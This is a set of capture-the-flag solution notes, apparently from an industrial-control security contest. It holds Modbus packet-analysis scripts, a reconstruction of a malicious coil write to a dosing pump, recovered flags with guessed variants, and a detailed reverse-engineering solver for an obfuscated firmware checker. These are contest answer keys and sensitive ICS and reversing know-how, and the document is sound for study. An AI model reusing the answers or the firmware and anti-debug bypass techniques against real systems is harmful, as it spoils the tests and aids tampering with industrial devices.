print(f"Rows: {nrows}, stride: {stride}")

def paeth(a, b, c):
    p = a + b - c
    pa, pb, pc = abs(p-a), abs(p-b), abs(p-c)
    if pa <= pb and pa <= pc: return a
    elif pb <= pc: return b
    else: return c

unfiltered = bytearray()
prev_row = bytearray(w*3)
for r in range(nrows):
    row_start = r*stride
    ftype = raw[row_start]
    row = bytearray(raw[row_start+1:row_start+stride])
    for i in range(len(row)):
        a = row[i-3] if i >= 3 else 0
        b = prev_row[i]
        c = prev_row[i-3] if i >= 3 else 0
        x = row[i]
        if ftype == 0: pass
        elif ftype == 1: row[i] = (x + a) & 0xff
        elif ftype == 2: row[i] = (x + b) & 0xff
        elif ftype == 3: row[i] = (x + ((a+b)>>1)) & 0xff
        elif ftype == 4: row[i] = (x + paeth(a,b,c)) & 0xff
    unfiltered += row
    prev_row = row

# Save as PPM
with open('flag.ppm', 'wb') as f:
    f.write(f"P6\n{w} {new_h}\n255\n".encode())
    f.write(bytes(unfiltered))
print(f"Saved flag.ppm ({w}x{new_h})")

# Save with PIL if available
try:
    from PIL import Image
    img = Image.frombytes('RGB', (w, new_h), bytes(unfiltered))
    img.save('flag_pil.png')
    print("Saved flag_pil.png via PIL")
except ImportError:
    print("PIL not available, use flag.ppm")
flag{S7comm_St3g0_M4ster}

GY10-泵站异常写寄存器排查

*线索定位:* HMI 日志显示 register write detected: unit=1 area=4x start=40120 count=9,对照 [register_map.csv](file:///F:/Fshare/Challenges/Challenges_ToMove/工控安全锦标赛/Game_Tmp/Misc/GY10-泵站异常写寄存器排查/附件/register_map.csv),40120 是 maintenance_buffer(uint16[9] 调试缓冲区),即异常写入目标。

*流量分析:* 用 tshark 过滤 Modbus 流量,找到第 5 帧(10.10.20.15 → 10.10.20.30):

*字段* *值*
func_code 16 (Write Multiple Registers)
reference_num 119 (协议地址 = 40120 - 40001)
count 9
寄存器值 26220, 24935, 31600, 30061, 28767, 31333, 29295, 25956, 32000

*还原隐藏信息:* 9 个 uint16 大端拼接为字节:66 6c 61 67 7b 70 75 6d 70 5f 7a 65 72 6f 65 64 7d 00,即 ASCII:

Plain Text

flag{pump_zeroed}

GY10-幽灵PLC

从pcap提取文件。

#!/usr/bin/env python3
"""Extract Modbus Write Multiple Registers (FC=16) data from PCAP."""
import struct
import sys
from scapy.all import rdpcap, TCP, Raw

PCAP = r".\extracted\Ghost_in_PLC_2026.pcap"

packets = rdpcap(PCAP)

writes = []  # list of (trans_id, start_reg, word_count, values_list, frame_idx)

for idx, pkt in enumerate(packets):
    if TCP not in pkt:
        continue
    payload = bytes(pkt[TCP].payload)
    if len(payload) < 7:
        continue
    # MBAP header: trans_id(2) proto_id(2) length(2) unit_id(1)
    trans_id = struct.unpack(">H", payload[0:2])[0]
    proto_id = struct.unpack(">H", payload[2:4])[0]
    length = struct.unpack(">H", payload[4:6])[0]
    unit_id = payload[6]
    if proto_id != 0:
        continue
    pdu = payload[7:7+length-1]
    if len(pdu) < 1:
        continue
    func_code = pdu[0]
    if func_code != 16:  # Write Multiple Registers
        continue
    if len(pdu) < 6:
        continue
    start_reg = struct.unpack(">H", pdu[1:3])[0]
    word_cnt = struct.unpack(">H", pdu[3:5])[0]
    byte_cnt = pdu[5]
    data = pdu[6:6+byte_cnt]
    values = []
    try:
        for i in range(word_cnt):
            v = struct.unpack(">H", data[i*2:i*2+2])[0]
            values.append(v)
    except struct.error:
        # malformed: skip this packet
        continue
    writes.append((trans_id, start_reg, word_cnt, values, idx))

print(f"Total write packets: {len(writes)}")
# Show first few and last few
for w in writes[:5]:
    print(f"trans={w[0]} start={w[1]} cnt={w[2]} first5vals={w[3][:5]} frame={w[4]}")
print("...")
for w in writes[-5:]:
    print(f"trans={w[0]} start={w[1]} cnt={w[2]} first5vals={w[3][:5]} frame={w[4]}")

# Count distinct trans_id values
trans_ids = sorted(set(w[0] for w in writes))
print(f"\nDistinct trans_ids: {len(trans_ids)}")
print(f"Min trans_id: {trans_ids[0]}, Max trans_id: {trans_ids[-1]}")

# Check if trans_ids are all unique
from collections import Counter
trans_counter = Counter(w[0] for w in writes)
dups = [(t,c) for t,c in trans_counter.items() if c > 1]
print(f"Duplicate trans_ids: {len(dups)}")
if dups:
    print(f"First few dups: {dups[:5]}")

# Approach 1: concatenate all writes in frame order, taking each write's data as bytes
out1 = bytearray()
for w in writes:
    out1.extend(struct.pack(f">{len(w[3])}H", *w[3]))
with open(r".\firmware_chunked.bin", "wb") as f:
    f.write(out1)
print(f"\nWrote chunked binary: {len(out1)} bytes")
print(f"First 32 bytes (hex): {out1[:32].hex()}")
#!/usr/bin/env python3
"""Better Modbus extraction with TCP reassembly using pyshark or scapy sessions."""
import struct
from scapy.all import rdpcap, TCP, IP
from collections import defaultdict

PCAP = r"f:\Fshare\del1\vmware\test\del_das2026\G2\game2\GY10-幽灵PLC\extracted\Ghost_in_PLC_2026.pcap"
packets = rdpcap(PCAP)

# Reassemble TCP streams
streams = defaultdict(bytearray)
pkt_info = []  # (frame_idx, stream_key, data_offset, data_length, trans_id, ...)

for idx, pkt in enumerate(packets):
    if TCP not in pkt or IP not in pkt:
        continue
    payload = bytes(pkt[TCP].payload)
    if not payload:
        continue
    sport = pkt[TCP].sport
    dport = pkt[TCP].dport
    seq = pkt[TCP].seq
    stream_key = (pkt[IP].src, sport, pkt[IP].dst, dport)
    streams[stream_key].extend(payload)

# Now parse the HMI -> PLC stream (192.168.1.100 -> 192.168.1.200)
hmi_stream = None
for key, data in streams.items():
    if key[0] == "192.168.1.100" and key[2] == "192.168.1.200":
        hmi_stream = data
        print(f"HMI stream: {len(data)} bytes from {key}")
        break

# Parse modbus messages from HMI stream
offset = 0
messages = []
while offset + 7 <= len(hmi_stream):
    trans_id = struct.unpack(">H", hmi_stream[offset:offset+2])[0]
    proto_id = struct.unpack(">H", hmi_stream[offset+2:offset+4])[0]
    length = struct.unpack(">H", hmi_stream[offset+4:offset+6])[0]
    unit_id = hmi_stream[offset+6]
    if proto_id != 0:
        offset += 1
        continue
    msg_total = 6 + length  # length field includes unit_id and PDU
    if offset + msg_total > len(hmi_stream):
        break
    pdu = hmi_stream[offset+7:offset+6+length]
    if len(pdu) >= 1:
        fc = pdu[0]
        if fc == 16 and len(pdu) >= 6:
            start_reg = struct.unpack(">H", pdu[1:3])[0]
            word_cnt = struct.unpack(">H", pdu[3:5])[0]
            byte_cnt = pdu[5]
            data_bytes = pdu[6:6+byte_cnt]
            messages.append({
                "trans": trans_id,
                "start": start_reg,
                "word_cnt": word_cnt,
                "byte_cnt": byte_cnt,
                "data": data_bytes,
                "expected_data_len": word_cnt*2,
            })
    offset += msg_total

print(f"Total FC=16 write messages: {len(messages)}")
# Find malformed ones
malformed = [m for m in messages if len(m["data"]) < m["word_cnt"]*2]
print(f"Malformed (data shorter than word_cnt*2): {len(malformed)}")
for m in malformed[:5]:
    print(f"  trans={m['trans']} start={m['start']} word_cnt={m['word_cnt']} byte_cnt={m['byte_cnt']} data_len={len(m['data'])}")

# Concatenate data
out = bytearray()
for m in messages:
    out.extend(m["data"])
print(f"\nTotal concatenated data: {len(out)} bytes")
print(f"First 32 bytes hex: {out[:32].hex()}")
print(f"Last 32 bytes hex: {out[-32:].hex()}")

with open(r"f:\Fshare\del1\vmware\test\del_das2026\G2\game2\GY10-幽灵PLC\firmware_v2.bin", "wb") as f:
    f.write(out)
print("Saved firmware_v2.bin")

密码 通过icmp的包获取

ics_Modbus_2026

解出一个update.bin。文件最后有 ycwnyxqakg6202 翻转过来。

flag{2026gkaqxynwcy}

GY10-Audit

GY10-时间域隐蔽通道-“扫描幽灵”

SYKXYPJJADQBG

666c61677b50524f374f63306c5f31445f324368346e5f7d B16Enc ode!!

flag{PRO7Oc0l_1D_2Ch4n_}

Fail: GY10-水厂夜班异常

分析结论

  事件还原

  攻击者:192.168.10.23(不在HMI设备清单中的未授权IP)

  攻击步骤:

  1. 侦察阶段:
    - FC1 Read Coils(Start=8, Count=16)— 读取线圈状态
    - FC3 Read Holding Registers(Start=0, Count=8)— 读取过程值
  2. 攻击阶段:
    - FC15 Write Multiple Coils(Start=8, Count=8, Data=0x12)
    - 0x12 = 二进制 00010010,即:
        - Coil 9(SIG_DOS_REQ_03)= ON → 激活投加序列请求
      - Coil 12(SIG_OUT_REQ_01)= ON → 激活出水序列请求

  PLC逻辑影响链

  FC15写入Coil 9 = ON
    → SEQ_DOSING_REQ = ON (NETWORK 5)
    → DOS_SEQ.Request = ON (NETWORK 8)
    → Low_Level_State = TRUE + NOT Maintenance + NOT Hold
    → DOS_SEQ.RunCmd = TRUE
    → Q0.3 = TRUE → P-201A(化学投加泵)启动
    → 投加偏差超限 → CRITICAL报警

  报警日志印证

  ┌──────────┬─────────────────────────┬──────────────────┐
  │   时间   │          事件           │       说明       │
  ├──────────┼─────────────────────────┼──────────────────┤
  │ 10:13:21 │ LVL_201_LOW             │ 液位低于阈值     │
  ├──────────┼─────────────────────────┼──────────────────┤
  │ 10:13:25 │ P-201A STOP→RUN         │ 投加泵异常启动   │
  ├──────────┼─────────────────────────┼──────────────────┤
  │ 10:13:31 │ DOS_DEV_HIGH (CRITICAL) │ 投加偏差超限     │
  ├──────────┼─────────────────────────┼──────────────────┤
  │ 10:13:45 │ 无操作员会话            │ 确认非操作员操作 │
  └──────────┴─────────────────────────┴──────────────────┘

  Flag

  flag{Modbus_FC15_9_P-201A}

  - Protocol: Modbus(工业控制协议)
  - Function: FC15(Write Multiple Coils,写多个线圈)
  - Address: 9(Coil 9 = SIG_DOS_REQ_03,投加序列请求,导致工艺异常的关键控制点)
  - Device: P-201A(化学投加泵,对应的现场物理设备)

protocol 变体:

flag{modbus_tcp_15_9_P-201A}

flag{mbtcp_15_9_P-201A}

flag{Modbus_15_9_P-201A}

address 变体(Modbus 习惯写法):

flag{modbus_15_0009_P-201A} # 4位十六进制

flag{modbus_15_00009_P-201A} # 经典5位线圈号

flag{modbus_15_09_P-201A}

function 变体:

flag{modbus_fc15_9_P-201A}

flag{modbus_writemultiplecoils_9_P-201A}

flag{modbus_write_multiple_coils_9_P-201A}

device 变体(报警日志事件码里出现过 P201A_STATE 不带连字符):

flag{modbus_15_9_P201A}

最后兜底??如果平台认为"关键控制点"是出水阀(同一帧里线圈 12 也被写了,10:13:50 出水阀 V-320 反馈跳变):

flag{modbus_15_12_V-320}

GY10-水厂夜班异常的flag样例:”flag{modbus_fc05_coil0020_alarm_reset}“。请参考,多谢

flag{modbus_fc0f_coil0009_alarm_reset}

flag{modbus_fc0f_coil0009_p_201a}

flag{modbus_fc0f_coil0009_v_320}

Fail: GY10-look

Network security is an umbrella term to describe security controls, policies, processes and practices adopted to prevent, detect and monitor unauthorized access, misuse, modification, or denial of a computer network and network-accessible resources.Network security involves the authorization of access to data in a network veracrypt, which is controlled by the network a is 6?, b is ?7, s is ?, administrator. Users choose or are assigned

Reverse

GY10-反应釜温度与压力融合控制

GNZJQPJJAAQFE

运行程序得到2030,提交flag{2026+2030}

GY10-VCL-FW

GY10-VCL-FW 解题记录

解题思路

firmware.enc 按 16/8/16/256 切四刀,结构一目了然:

*区段* *字节* *内容* *角色*
0x00 16 WVWZZZ3CZJE12345 16 字节设备标识(非标准 17 位 VIN)
0x10 8 1122334455667788 密钥派生种子
0x18 16 00112233445566778899aabbccddeeff 链式分组 IV
0x28 256 16 组 128-bit 密文

由外向内剥洋葱

fw_check 里完整保留了 OTA 端的加密代码(见附录 A 的还原过程),形成一条四层嵌套的加密链。解密只需按相反顺序逐层剥开:CBC → 分组密码 → 轮程序 → 密钥。

第一层:CBC 链式分组

最外层是标准 CBC。对第 i 个 16 字节密文分组 C_i,先用内层分组密码解出中间值 D(C_i),再与前一组密文异或:

P_i = D(C_i) XOR C_{i-1}
C_{-1} = IV = 00112233445566778899aabbccddeeff

走完 16 组得到 256 字节明文。剩下的工作就是还原 D(·)

第二层:24 轮左右半交换网络

内层分组密码由一台栈式字节码 VM 实现,VM 解释器在 0x1bf0,字节码本体在 0x58800,恰好 24 段、每段 0x40A 字节。把每段的内存写回行为抽象出来,单轮可化简为:

正向:  (L, R)  ->  (R,  L XOR F_i(R))

这是教科书式的左右半交换(Feistel)结构。关键观察是:*轮函数* ***\*F_i\**** *本身无需还原*——只要能跑通 F_i,就能按相反顺序执行 24 轮完成单分组解密:

逆向:  (A, B)  ->  (B XOR F_i(A),  A)

调用 F_i 时给 VM 喂一段 16 字节内存:前 8 字节填 0、后 8 字节填待变换的半组,跑完取 memory[8:16] 即为 F_i 输出。

VM 指令集精简后只有 push/load/store/算术/旋转/S-box/常量几类,操作码先经 0x8500 处 256 字节 opmap 重映射;常量与替换表全部就地取自 checker:

*资源* *偏移* *服务于*
opmap 0x8500 原始字节 → 内部 opcode
主 S-box 0x82F0 opcode 18
nibble 表 0x8110 opcode 19
24 × uint64 常量 0x8600 opcode 32
24 字节常量 0x86C0 opcode 33

第三层:xoshiro256** 拉出的 384 字节轮程序

VM 每轮需要一份 384 字节的“轮程序”灌进 memory[0x10:0x190]。这份程序不是常量,而是用 xoshiro256** 现场生成 48 个 64 位整数拼出来的(0x19d0)。初始状态四个 64 位字直接来自已派生 key 与 firmware.enc 头部:

s0, s1 = key 的两个小端 uint64
s2     = firmware.enc[0x10:0x18] 的小端 uint64
s3     = CRC32(key || firmware.enc[0x10:0x18])

每个输出字为 ((rol64(s1*5, 7)) * 9) & MASK64,随后做一次完整 scramble。这 384 字节程序的 SHA-256:

3f97b3391ea6a1f96f95cf1ff8adf78470745e01393bf35d5389bced0957212e

第四层:从设备标识派生的 128 位对称密钥

最内层是密钥派生(0x1720 / 0x19a0),用到 checker 里两块 256 字节 S-box(0x82F00x83F0)、checker 自己嵌入的 16 字节设备标识(0x84F0,与 firmware.enc 头部一致)、两个 64 位奇数乘子,以及 0x80E0 处 16 字节尾部掩码。复现出的 16 字节 key:

a1b2c3d4e5f60718293a4b5c6d7e8f90

派生流水线五步走:

  1. *第一层替换*:用 0x82F0 的 S-box 对 16 字节设备标识逐字节过一遍,前 8 字节组成 left(小端 uint64),后 8 字节组成 right
  2. *乘法扩散*left0x9E3779B97F4A7C15 再异或 0xA5A5A5A5A5A5A5A5,得 xright0xD1B54A32D192ED03 再异或 0x5A5A5A5A5A5A5A5A,得 y
  3. *第二层替换*:把 xy 展成字节 xb[0..7]yb[0..7],按下标表
first_idx  = (xb[7], yb[7], xb[1], yb[3], yb[0], xb[6], yb[1], xb[0])
second_idx = (yb[2], yb[4], yb[6], xb[2], xb[3], yb[5], xb[4], xb[5])

0x83F0 的 S-box 取字节,分别组装成两个 64 位 firstsecond

  1. *旋转混合*first = rol64(0x123456789ABCDEF0 + first, 23)second = rol64(0x0FEDCBA987654321 ^ second, 45)
  2. *尾部掩码*:拼成 16 字节后与 0x80E0..0x80F0 异或,即得最终 key。

剥出来的明文

256 字节明文头部 16 字节:

56 43 4c 46 57 01 00 00 e5 00 00 00 f8 d3 a8 dc
 V  C  L  F  W  ver     payload=229      CRC32

明文固件结构:

*偏移* *字段* *值*
0x00 魔数 VCLFW
0x05 版本 1
0x08 payload 长度(u32le) 229
0x0c payload CRC-32(u32le) 0xdca8d3f8
0x10 payload(文本配置) 229 字节

重算 payload 的 CRC-32 仍是 0xdca8d3f8,与存储值一致。payload 文本里关键一段:

[DIAG_AUTH]
token=flag{76E68C671CB6DC5DC69FA8BE6EFA9CF0}

闭环:与校验器的真目标对账

光解出 flag 不够,还要证明我们离线走的这条链就是 fw_check 真正校验的那条链。

校验器真正在比什么

0x4000 对每个 16 字节明文分组做 16 轮查表-置换-混合的白盒变换,并按 CBC 风格把上一组输出作为下一组链值:

Y_i = WhiteBox16(P_i XOR Y_{i-1})
Y_{-1} = 00112233445566778899aabbccddeeff

WhiteBox16 单轮流程:

  1. 0x8800 + r*0x1000 + pos*0x100 + val 处的查表对 16 字节逐字节替换;
  2. 0x8110 处的 16 字节置换重排;
  3. 0x18800 + r*0x4000 处的 4×4 GF(2^8) 混合表里把 16 字节分成 4 组各 4 字节做线性混合。

真目标摘要的藏匿方式

0x5000 那一支拿白盒输出和 rodata[0x8150:0x8250] 逐字节比较——但比较结果被丢弃,是纯诱饵。真正的判定在 0x6000:对 Y_0 || … || Y_15 共 256 字节做 SHA-256,再与“真目标摘要”比对。

真目标摘要不是连续存放的,而是散布在 0x8050..0x80D0 这 128 字节里,每 16 字节只取前 4 字节,拼起来才是 32 字节 SHA-256:

4d3dff35 4bd846bb d2a561de 427c0096
a1b5aaaf 596b5eb9 31c5563c f92c0480

比对结果

把我们解出的明文喂进 §校验器真正在比什么 的白盒链式变换,得到的 SHA-256:

4d3dff354bd846bbd2a561de427c0096a1b5aaaf596b5eb931c5563cf92c0480

与上面对账完全一致。

再加一道保险:把解出的固件丢回未改动的 fw_check 里跑,在无网络、只读根文件系统、不授予任何 Linux capability 的 amd64 容器内,输出 MATCH、退出码 0

明文通过结构校验、CRC-32、白盒链式 SHA-256、原始程序运行四道关卡,flag 确凿无误。

附录 A:校验器自身的防护层

上述全部偏移与常量并非直接可见——fw_check 用了一层“构造函数自解压 + 反调试 + 诱饵分支”的防护,这里记录还原过程。

ELF 构造函数 0x1210 同时按下三颗开关:

  1. ptrace(PTRACE_TRACEME) 配合 RDTSC 做时间戳差检,被调试就置位失败标志;
  2. 失败标志写入 .bss:0x60084,主函数据此无条件 reject 任何候选固件;
  3. 用 16 字节循环密钥 0123456789abcdeffedcba9876543210 原地异或解出 0x3000..0x7342 段的自定义密码学代码。

也就是说,只要离线拿这 16 字节 XOR 一遍 0x3000..0x7342,就能在不触发任何反调试逻辑的前提下直接反汇编真正的加密代码,根本不需要动态调试。

主函数的校验流水线在去混淆后是这样的:

候选固件结构 + CRC 自检
        │
        ▼
0x4000  对每个 16 字节分组做查表-置换-混合的链式白盒变换
        │
        ▼
0x5000  把结果和 rodata[0x8150:0x8250] 逐字节比较   ← 诱饵分支
        │
        ▼
0x6000  把白盒输出再做一次 SHA-256,与真目标摘要比较   ← 真正的判定

0x8150 那 256 字节常量因此不是待还原的密文。

完整的 OTA 加密代码也没被删掉,关键入口:

*入口* *作用*
0x1720 / 0x19a0 由设备标识派生 128 位对称密钥
0x19d0 拉出 384 字节轮程序
0x1bf0 跑自定义 128 位分组密码的栈式 VM
0x1ec0 调用 VM 做 CBC 模式的加密循环

把这条链反过来走,就是本文 §由外向内剥洋葱 的解密路径。

flag

flag{76E68C671CB6DC5DC69FA8BE6EFA9CF0}

落地 256 字节明文固件,SHA-256:

89bba9991a248f1370e6b21c80d77f861672420f28d3f180a1bb55c063db4165

执行

solve_vcl_fw.pyfirmware.encfw_check 放到同一目录,执行:

python3 solve_vcl_fw.py firmware.enc fw_check -o firmware.dec

脚本只依赖 Python 标准库(struct / zlib / hashlib / re / argparse / pathlib),全程不执行 fw_check。预期输出:

key=a1b2c3d4e5f60718293a4b5c6d7e8f90
nonce_prefix=1122334455667788
iv=00112233445566778899aabbccddeeff
candidate_sha256=89bba9991a248f1370e6b21c80d77f861672420f28d3f180a1bb55c063db4165
payload_size=229
crc32=dca8d3f8 (stored dca8d3f8)
checker_hash=4d3dff354bd846bbd2a561de427c0096a1b5aaaf596b5eb931c5563cf92c0480
expected_hash=4d3dff354bd846bbd2a561de427c0096a1b5aaaf596b5eb931c5563cf92c0480
flag=flag{76E68C671CB6DC5DC69FA8BE6EFA9CF0}
wrote=firmware.dec

exp

#!/usr/bin/env python3
"""
python solve_vcl_fw.py firmware.enc fw_check -o firmware.dec

GY10-VCL-FW offline solver (Python standard library only).

Reverse-engineers the OTA firmware validator `fw_check` to recover the real
decryption path, then decrypts `firmware.enc` without executing the checker.

Pipeline:
  1. derive_key()        - VIN-bound 128-bit key (S-boxes + mul/rot + mask)
  2. expand_program()    - 384-byte round program via xoshiro256**
  3. BlockVM             - invert the 24-round Feistel VM at 0x58800
  4. decrypt_firmware()  - CBC mode decryption of the 16 ciphertext blocks
  5. verify              - CRC32 + whitebox SHA-256 chain
"""

from __future__ import annotations

import argparse
import hashlib
import re
import struct
import zlib
from pathlib import Path

MASK64 = (1 << 64) - 1

# Layout constants recovered from fw_check.
OUTER_MAGIC = b"WVWZZZ3CZJE12345"   # firmware.enc[0:16], also checker[0x84F0:0x8500]
INNER_MAGIC = b"VCLFW"              # plaintext firmware magic

# firmware.enc layout:
#   0x00  16  device id (OUTER_MAGIC)
#   0x10   8  nonce prefix (key stream seed)
#   0x18  16  CBC IV
#   0x28 256  ciphertext (16 * 128-bit blocks)


def rol64(value: int, count: int) -> int:
    count &= 63
    if count == 0:
        return value & MASK64
    return ((value << count) | (value >> (64 - count))) & MASK64


def ror64(value: int, count: int) -> int:
    return rol64(value, -count)


def derive_key(checker: bytes) -> bytes:
    """Reproduce fw_check's VIN-bound key derivation (functions 0x1720/0x19a0).

    Uses two 256-byte S-boxes at 0x82F0/0x83F0, the embedded VIN at 0x84F0,
    64-bit multiplication by golden-ratio constants, byte permutation, fixed
    constants, and a 16-byte mask at 0x80E0.
    """
    input_sbox = checker[0x82F0:0x83F0]
    output_sbox = checker[0x83F0:0x84F0]
    embedded_vin = checker[0x84F0:0x8500]
    if embedded_vin != OUTER_MAGIC:
        raise ValueError("unexpected checker VIN")

    # Stage 1: input S-box substitution over the 16 VIN bytes.
    substituted = bytes(input_sbox[b] for b in embedded_vin)
    left = int.from_bytes(substituted[:8], "little")
    right = int.from_bytes(substituted[8:], "little")

    # Stage 2: multiplicative diffusion with odd constants.
    x = 0xA5A5A5A5A5A5A5A5 ^ ((left * 0x9E3779B97F4A7C15) & MASK64)
    y = 0x5A5A5A5A5A5A5A5A ^ ((right * 0xD1B54A32D192ED03) & MASK64)
    xb = x.to_bytes(8, "little")
    yb = y.to_bytes(8, "little")

    # Stage 3: byte-indexed permutation into two 64-bit halves.
    first_idx = (xb[7], yb[7], xb[1], yb[3], yb[0], xb[6], yb[1], xb[0])
    second_idx = (yb[2], yb[4], yb[6], xb[2], xb[3], yb[5], xb[4], xb[5])
    first = int.from_bytes(bytes(output_sbox[i] for i in first_idx), "little")
    second = int.from_bytes(bytes(output_sbox[i] for i in second_idx), "little")

    # Stage 4: rotation mixing and final mask.
    first = rol64((0x123456789ABCDEF0 + first) & MASK64, 23)
    second = rol64(0x0FEDCBA987654321 ^ second, 45)
    raw_key = struct.pack("<QQ", first, second)
    key_mask = checker[0x80E0:0x80F0]
    return bytes(a ^ b for a, b in zip(raw_key, key_mask))


def expand_program(key: bytes, nonce_prefix: bytes) -> bytes:
    """Generate the VM's 384-byte round program with xoshiro256**.

    Initial state (matches checker function 0x19d0):
      s0, s1 = key as two little-endian uint64
      s2     = firmware.enc[0x10:0x18] as little-endian uint64
      s3     = CRC32(key || nonce_prefix)
    """
    seed_crc = zlib.crc32(key + nonce_prefix)
    s0, s1 = struct.unpack("<QQ", key)
    s2 = int.from_bytes(nonce_prefix, "little")
    s3 = seed_crc
    program = bytearray()
    for _ in range(48):  # 48 * 8 = 384 bytes
        program += struct.pack("<Q", (rol64((s1 * 5) & MASK64, 7) * 9) & MASK64)
        temporary = (s1 << 17) & MASK64
        s2 ^= s0
        s3 ^= s1
        s1 ^= s2
        s0 ^= s3
        s2 ^= temporary
        s3 = rol64(s3, 45)
        s0 &= MASK64
        s1 &= MASK64
        s2 &= MASK64
        s3 &= MASK64
    return bytes(program)


class BlockVM:
    """Interpreter for the fixed stack VM at 0x1bf0.

    The VM bytecode at file offset 0x58800 consists of 24 round programs,
    each ROUND_SIZE bytes long. Each round implements a Feistel round
    function F_i: it loads a 16-byte block into memory, executes the
    round bytecode, and returns the first 16 bytes of memory.
    """

    ROUND_SIZE = 0x40A
    ROUND_COUNT = 24

    def __init__(self, checker: bytes):
        self.opmap = checker[0x8500:0x8600]    # opcode remap table
        self.sbox = checker[0x82F0:0x83F0]
        self.nibble = checker[0x8110:0x8120]
        self.qconst = struct.unpack_from("<24Q", checker, 0x8600)
        self.bconst = checker[0x86C0:0x86D8]
        start = 0x58800
        self.code = checker[start:start + self.ROUND_SIZE * self.ROUND_COUNT]

    def _execute(self, memory: bytearray, start: int, end: int) -> None:
        stack: list[int] = []
        pc = start
        while pc < end:
            opcode = self.opmap[self.code[pc]]
            pc += 1
            if opcode == 0:                       # HALT
                break
            elif opcode == 1:                     # push imm8
                stack.append(self.code[pc]); pc += 1
            elif opcode == 2:                     # push imm32
                stack.append(struct.unpack_from("<I", self.code, pc)[0]); pc += 4
            elif opcode == 3:                     # push imm64
                stack.append(struct.unpack_from("<Q", self.code, pc)[0]); pc += 8
            elif opcode == 4:                     # load8
                stack[-1] = memory[stack[-1]]
            elif opcode == 5:                     # load64
                stack[-1] = struct.unpack_from("<Q", memory, stack[-1])[0]
            elif opcode == 6:                     # store8
                addr = stack.pop(); memory[addr] = stack.pop() & 0xFF
            elif opcode == 7:                     # store64
                addr = stack.pop()
                struct.pack_into("<Q", memory, addr, stack.pop() & MASK64)
            elif opcode == 8:                     # add
                rhs = stack.pop(); stack[-1] = (stack[-1] + rhs) & MASK64
            elif opcode == 9:                     # sub
                rhs = stack.pop(); stack[-1] = (stack[-1] - rhs) & MASK64
            elif opcode == 11:                    # xor
                rhs = stack.pop(); stack[-1] ^= rhs
            elif opcode == 16:                    # rol64
                rhs = stack.pop(); stack[-1] = rol64(stack[-1], rhs)
            elif opcode == 17:                    # ror64
                rhs = stack.pop(); stack[-1] = ror64(stack[-1], rhs)
            elif opcode == 18:                    # sbox
                stack[-1] = self.sbox[stack[-1] & 0xFF]
            elif opcode == 19:                    # nibble
                stack[-1] = self.nibble[stack[-1] & 0x0F]
            elif opcode == 22:                    # dup
                stack.append(stack[-1])
            elif opcode == 32:                    # qconst
                stack[-1] = self.qconst[stack[-1] % 24]
            elif opcode == 33:                    # bconst
                stack[-1] = self.bconst[stack[-1] % 24]
            else:
                raise ValueError(f"unexpected VM opcode {opcode} at {pc - 1:#x}")

    def run_round(self, round_index: int, block: bytes, program: bytes) -> bytes:
        memory = bytearray(0xA08)
        memory[:16] = block
        memory[0x10:0x190] = program
        start = round_index * self.ROUND_SIZE
        self._execute(memory, start, start + self.ROUND_SIZE)
        return bytes(memory[:16])

    def decrypt(self, block: bytes, program: bytes) -> bytes:
        """Invert the 24-round Feistel network.

        Forward round i:  (L, R) -> (R, L XOR F_i(R))
        Inverse round i:  (A, B) -> (B XOR F_i(A), A)
        executed in reverse round order.
        """
        state = block
        for round_index in reversed(range(self.ROUND_COUNT)):
            left, right = state[:8], state[8:]
            function_value = self.run_round(
                round_index, bytes(8) + left, program
            )[8:]
            state = bytes(a ^ b for a, b in zip(right, function_value)) + left
        return state


def decrypt_firmware(checker: bytes, encrypted: bytes):
    """Decrypt firmware.enc and return (plaintext, key, nonce_prefix, iv)."""
    if len(encrypted) != 0x128:
        raise ValueError(f"unexpected firmware.enc length: {len(encrypted):#x}")
    if encrypted[:16] != OUTER_MAGIC:
        raise ValueError("bad firmware.enc VIN/magic")
    nonce_prefix = encrypted[16:24]
    iv = encrypted[24:40]
    ciphertext = encrypted[40:]
    key = derive_key(checker)
    program = expand_program(key, nonce_prefix)
    vm = BlockVM(checker)

    plaintext = bytearray()
    previous = iv
    for offset in range(0, len(ciphertext), 16):
        block = ciphertext[offset:offset + 16]
        intermediate = vm.decrypt(block, program)
        plaintext += bytes(a ^ b for a, b in zip(intermediate, previous))
        previous = block
    return bytes(plaintext), key, nonce_prefix, iv


def whitebox_block(checker: bytes, block: bytes) -> bytes:
    """16-byte white-box block transform used by checker 0x4000.

    16 rounds of: substitute (per-byte tables) -> permute -> mix (4x4 GF(2^8)).
    """
    permutation = checker[0x8110:0x8120]
    state = bytearray(block)
    for round_index in range(16):
        sub_base = 0x8800 + round_index * 0x1000
        substituted = bytes(
            checker[sub_base + pos * 0x100 + val]
            for pos, val in enumerate(state)
        )
        permuted = bytes(substituted[pos] for pos in permutation)
        mix_base = 0x18800 + round_index * 0x4000
        next_state = bytearray(16)
        for group in range(4):
            contribution = bytearray(4)
            for in_idx in range(4):
                value = permuted[group * 4 + in_idx]
                entry = mix_base + group * 0x1000 + in_idx * 0x400 + value * 4
                for out_idx in range(4):
                    contribution[out_idx] ^= checker[entry + out_idx]
            next_state[group * 4:group * 4 + 4] = contribution
        state = next_state
    return bytes(state)


def real_checker_hash(checker: bytes, candidate: bytes) -> bytes:
    """SHA-256 over the white-box chain output (the 0x4000 -> 0x6000 path)."""
    chaining = checker[0x8040:0x8050]
    transformed = bytearray()
    for offset in range(0, len(candidate), 16):
        whitened = bytes(a ^ b for a, b in zip(candidate[offset:offset + 16], chaining))
        chaining = whitebox_block(checker, whitened)
        transformed += chaining
    return hashlib.sha256(transformed).digest()


def expected_checker_hash(checker: bytes) -> bytes:
    """Real target digest is scattered 4 bytes per 16-byte slot at 0x8050..0x80D0."""
    return b"".join(checker[off:off + 4] for off in range(0x8050, 0x80D0, 0x10))


def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("firmware", type=Path, help="path to firmware.enc")
    parser.add_argument("checker", type=Path, help="path to fw_check")
    parser.add_argument("-o", "--output", type=Path, default=Path("firmware.dec"))
    args = parser.parse_args()

    encrypted = args.firmware.read_bytes()
    checker = args.checker.read_bytes()
    candidate, key, nonce_prefix, iv = decrypt_firmware(checker, encrypted)

    if len(candidate) != 0x100 or candidate[:5] != INNER_MAGIC:
        raise SystemExit("decryption failed: invalid VCLFW image")
    payload_size, stored_crc = struct.unpack_from("<II", candidate, 8)
    if payload_size + 16 > len(candidate):
        raise SystemExit("decryption failed: invalid payload size")
    payload = candidate[16:16 + payload_size]
    actual_crc = zlib.crc32(payload)
    transformed_hash = real_checker_hash(checker, candidate)
    expected_hash = expected_checker_hash(checker)
